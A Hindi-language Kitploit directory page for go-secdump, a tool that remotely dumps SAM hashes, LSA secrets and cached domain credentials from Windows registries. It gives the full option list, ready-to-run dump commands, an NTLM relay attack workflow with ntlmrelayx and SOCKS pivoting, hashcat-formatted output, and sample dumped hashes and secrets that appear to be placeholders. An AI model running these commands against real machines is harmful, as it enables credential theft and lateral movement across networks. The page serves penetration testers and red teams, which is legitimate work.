Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
go-secdump — Windows रजिस्ट्री से दूरस्थ रूप से रहस्य डंप करने का उपकरण | Kitploit
उपकरण/GitHubGitHub/jfjallid/go-secdump
पासवर्ड क्रैकिंगएन्क्रिप्शन/डिक्रिप्शन उपकरणपार्श्व आंदोलनपोस्ट-शोषणपेनिट्रेशन टेस्टिंगप्रमाणीकरणरेड टीमिंग
GitHubjfjallid/go-secdump

go-secdump

Windows रजिस्ट्री से दूरस्थ रूप से रहस्य डंप करने का उपकरण

रिपॉजिटरी देखें
5346042 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

go-secdump

विवरण

पैकेज go-secdump एक उपकरण है जो SAM रजिस्ट्री हाइव से हैश, साथ ही LSA गुप्त सूचनाएँ और SECURITY हाइव से कैश्ड हैश, बिना किसी दूरस्थ एजेंट और बिना डिस्क को छुए दूरस्थ रूप से निकालने के लिए बनाया गया है।

यह उपकरण लाइब्रेरी go-smb के ऊपर बनाया गया है और इसका उपयोग Windows रिमोट रजिस्ट्री के साथ संवाद करने के लिए किया जाता है ताकि रजिस्ट्री कुंजियों को सीधे मेमोरी से प्राप्त किया जा सके।

इसे एक सीखने के अनुभव और इस अवधारणा के प्रमाण के रूप में बनाया गया था कि SAM हाइव से NT हैश, LSA गुप्त सूचनाएँ, और डोमेन कैश्ड क्रेडेंशियल्स को दूरस्थ रूप से प्राप्त करना संभव होना चाहिए, बिना पहले रजिस्ट्री हाइव को डिस्क पर सहेजे और फिर उन्हें स्थानीय रूप से पार्स किए।

मुख्य समस्या जिसे हल करना था वह यह थी कि SAM और SECURITY हाइव केवल NT AUTHORITY\SYSTEM द्वारा पढ़ने योग्य हैं। हालाँकि, मैंने देखा कि स्थानीय समूह प्रशासकों के पास रजिस्ट्री हाइव पर WriteDACL अनुमति थी और इस प्रकार वे गुप्त सूचनाओं को पुनः प्राप्त करने के लिए अस्थायी रूप से स्वयं को पढ़ने की अनुमति दे सकते थे और फिर मूल अनुमतियों को बहाल कर सकते थे।

हालाँकि, फरवरी 2025 में Synacktiv में Julien Egloff द्वारा एक बेहतर दृष्टिकोण खोजा गया। BaseRegOpenKey अनुरोध, जो रजिस्ट्री कुंजियों के हैंडल खोलने के लिए उपयोग किया जाता है, में SeBackupPrivilege को लागू करने का एक विकल्प है जो हमें पहले DACLs को बदले बिना रजिस्ट्री कुंजियों को खोलने की अनुमति देता है। उपकरण को इस नए दृष्टिकोण को प्राथमिकता देने के लिए अपडेट किया गया है और केवल तभी DACLs बदलता है जब स्पष्ट रूप से कहा जाए।

श्रेय

इस परियोजना का अधिकांश कोड Impacket के secdump से प्रेरित/लिया गया है, लेकिन Windows रजिस्ट्री तक दूरस्थ रूप से पहुँचने और केवल आवश्यक रजिस्ट्री कुंजियों तक पहुँचने के लिए रूपांतरित किया गया है।

रजिस्ट्री संरचना और एन्क्रिप्शन विधियों को समझने में उपयोगी कुछ अन्य स्रोत नीचे सूचीबद्ध हैं:

https://www.passcape.com/index.php?section=docsys&cmd=details&id=23

http://www.beginningtoseethelight.org/ntsecurity/index.htm

https://social.technet.microsoft.com/Forums/en-US/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-ntlm-hashes-stored-under-the-v-key-in-the-sam?forum=win10itprogeneral

SeBackupPrivilege का उपयोग करने का विचार Synacktiv से आया: https://www.synacktiv.com/publications/lsa-secrets-revisiting-secretsdump

उपयोग

root@kitploit:~
Usage: ./go-secdump [options]

options:
      --host <target>        Hostname or ip address of remote server. Must be hostname when using Kerberos
  -P, --port <port>          SMB Port (default 445)
  -d, --domain <domain>      Domain name to use for login
  -u, --user <username>      Username
  -p, --pass <pass>          Password
  -n, --no-pass              Disable password prompt and send no credentials
      --hash <NT Hash>       Hex encoded NT Hash for user password
      --local                Authenticate as a local user instead of domain user
  -k, --kerberos             Use Kerberos authentication. (KRB5CCNAME will be checked on Linux)
      --dc-ip <ip>           Optionally specify ip of KDC when using Kerberos authentication
      --target-ip <ip>       Optionally specify ip of target when using Kerberos authentication
      --aes-key <hex>        Use a hex encoded AES128/256 key for Kerberos authentication
      --keytab-file <file>   Authenticate using keys from a keytab file (implies -k). User and
                             domain are taken from the first keytab entry if not specified
      --dns-host <ip[:port]> Override system's default DNS resolver
      --dns-tcp              Force DNS lookups over TCP. Default true when using --socks-host
      --dump                 Saves the SAM and SECURITY hives to disk and
                             transfers them to the local machine.
      --sam                  Extract secrets from the SAM hive explicitly. Only other explicit targets are included.
      --lsa                  Extract LSA secrets explicitly. Only other explicit targets are included.
      --dcc2                 Extract DCC2 caches explicitly. Only other explicit targets are included.
      --misc                 Extract misc registry secrets such as the Winlogon
                             DefaultPassword explicitly. Only other explicit targets are included.
      --modify-dacl          Change DACLs of reg keys before dump.
                             Only required if keys cannot be opened using SeBackupPrivilege. (default false)
      --backup-dacl          Save original DACLs to disk before modification
      --restore-dacl         Restore DACLs using disk backup. Could be useful if automated restore fails.
      --backup-file <file>   Filename for DACL backup (default dacl.backup)
      --relay                Start an SMB listener that will relay incoming
                             NTLM authentications to the remote server and
                             use that connection. NOTE that this forces SMB 2.1
                             without encryption.
      --relay-port <port>    Listening port for relay (default 445)
      --socks-host <target>  Establish connection via a SOCKS5 proxy server
      --socks-port <port>    SOCKS5 proxy port (default 1080)
  -t, --timeout <duration>   Dial timeout in format 5s or 2m (default 5s)
      --noenc                Disable smb encryption
      --smb2                 Force smb 2.1
      --debug                Enable debug logging. Bare --debug turns on every
                             registered package; --debug=msrrp,smb turns on only the
                             listed package-name suffixes (the '=' form is required
                             for the filter).
      --verbose              Enable verbose logging. Same filter syntax as --debug.
                             --debug and --verbose may be combined with different
                             filters; a package targeted by both gets the higher level.
      --list-log-packages    List the registered log package names that can be
                             targeted with --debug=<suffix> or --verbose=<suffix>,
                             then exit
  -o, --output <file>        Filename for writing results (default is stdout). Will append to file if it exists.
      --output-format <fmt>  Output format: text (default), json, or hashcat
      --history              Include historical (OldVal) LSA secrets in addition to current values
  -q, --quiet                Suppress informational headers; print only secrets
  -v, --version              Show version

DACLs बदलना

अब केवल एक वैकल्पिक सुविधा के रूप में --modify-dacl के साथ सक्षम, go-secdump स्वचालित रूप से आवश्यक रजिस्ट्री कुंजियों के DACLs को संशोधित करने और फिर बहाल करने का प्रयास करेगा। हालाँकि, यदि बहाली के दौरान नेटवर्क डिस्कनेक्ट या अन्य रुकावट जैसी कोई समस्या होती है, तो दूरस्थ रजिस्ट्री संशोधित DACLs के साथ छोड़ दी जाएगी।

--backup-dacl तर्क का उपयोग करके, संशोधन से पहले मूल DACLs की एक क्रमबद्ध प्रतिलिपि संग्रहीत करना संभव है। यदि कनेक्टिविटी समस्या होती है, तो DACLs को बाद में --restore-dacl तर्क का उपयोग करके फ़ाइल से पुनर्स्थापित किया जा सकता है।

उदाहरण

SeBackupPrivilege ट्रिक का उपयोग करके सभी रजिस्ट्री गुप्त सूचनाएँ डंप करें

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
or
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2

केवल SAM, LSA, DCC2 कैश, या मिश्रित रजिस्ट्री गुप्त सूचनाएँ डंप करें

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --misc

--misc लक्ष्य उन मिश्रित रजिस्ट्री गुप्त सूचनाओं को निकालता है जो SAM/LSA/DCC2 हाइव से संबंधित नहीं हैं, वर्तमान में Winlogon ऑटो-लॉगिन DefaultPassword (और संबद्ध DefaultUserName) जब मौजूद हो।

ऐतिहासिक LSA गुप्त सूचनाएँ, आउटपुट प्रारूप, और शांत मोड

--history के साथ वर्तमान मानों के अतिरिक्त ऐतिहासिक (OldVal) LSA गुप्त सूचनाएँ शामिल करें। -o/--output के साथ परिणामों को एक फ़ाइल में लिखें (यदि मौजूद है तो इसमें जोड़ा जाएगा) और --output-format के साथ चुनें कि गुप्त सूचनाओं को कैसे स्वरूपित किया जाए:

  • text (डिफ़ॉल्ट) — मानव-पठनीय
  • json — टाइप किए गए रिकॉर्ड का एक JSON सरणी, आगे की प्रक्रिया के लिए उपयोगी
  • hashcat — नंगे NT हैश (मोड 1000) और $DCC2$ लाइनें (मोड 2100) hashcat को फीड करने के लिए तैयार

-q/--quiet का उपयोग जानकारीपूर्ण हेडर और सारांश को दबाने के लिए करें ताकि केवल गुप्त सूचनाएँ मुद्रित हों।

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --history --output-format json -o secrets.json
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --output-format hashcat --quiet

प्रति-पैकेज लॉगिंग

उन लॉग पैकेज नामों की सूची बनाएं जिन्हें लक्षित किया जा सकता है, फिर सभी के बजाय विशिष्ट पैकेजों के लिए (नाम प्रत्यय द्वारा मिलान) डीबग या वर्बोज़ लॉगिंग सक्षम करें:

root@kitploit:~
./go-secdump --list-log-packages
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --debug=msrrp,smb

NTLM रिलेइंग

NTLM रिलेइंग का उपयोग करके रजिस्ट्री गुप्त सूचनाएँ डंप करें

लिसनर शुरू करें

root@kitploit:~
./go-secdump --host 192.168.0.100 -n --relay

किसी क्लाइंट से अपनी मशीन पर प्रमाणीकरण ट्रिगर करें जिसके पास 192.168.0.100 तक प्रशासनिक पहुँच हो, और फिर डंप की गई गुप्त सूचनाओं की प्रतीक्षा करें।

root@kitploit:~
YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805
YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.local\Administrator) against (192.168.0.100:445)!
Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0
2023/12/13 14:47:28 [Notice] [+] Signing is NOT required
2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator
[*] Dumping local SAM hashes
Name: Administrator
RID: 500
NT: 2727D7906A776A77B34D0430EAACD2C5

Name: Guest
RID: 501
NT: <empty>

Name: DefaultAccount
RID: 503
NT: <empty>

Name: WDAGUtilityAccount
RID: 504
NT: <empty>

[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4
$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...
[*] DPAPI_SYSTEM
dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100
dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939
[*] NL$KM
NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74
[*] Dumping cached domain credentials (domain/username:hash)
DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab
...

SOCKS प्रॉक्सी

ऊपरी SOCKS5 प्रॉक्सी का उपयोग करके गुप्त सूचनाएँ डंप करें, या तो पाइवटिंग के लिए या Impacket के ntlmrelayx.py SOCKS सर्वर कार्यक्षमता का लाभ उठाने के लिए।

ntlmrelayx.py को ऊपरी प्रॉक्सी के रूप में उपयोग करते समय, प्रदान किया गया उपयोगकर्ता नाम प्रमाणित क्लाइंट से मेल खाना चाहिए, लेकिन पासवर्ड खाली हो सकता है।

root@kitploit:~
./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server
...

./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080
टूल डाउनलोड करें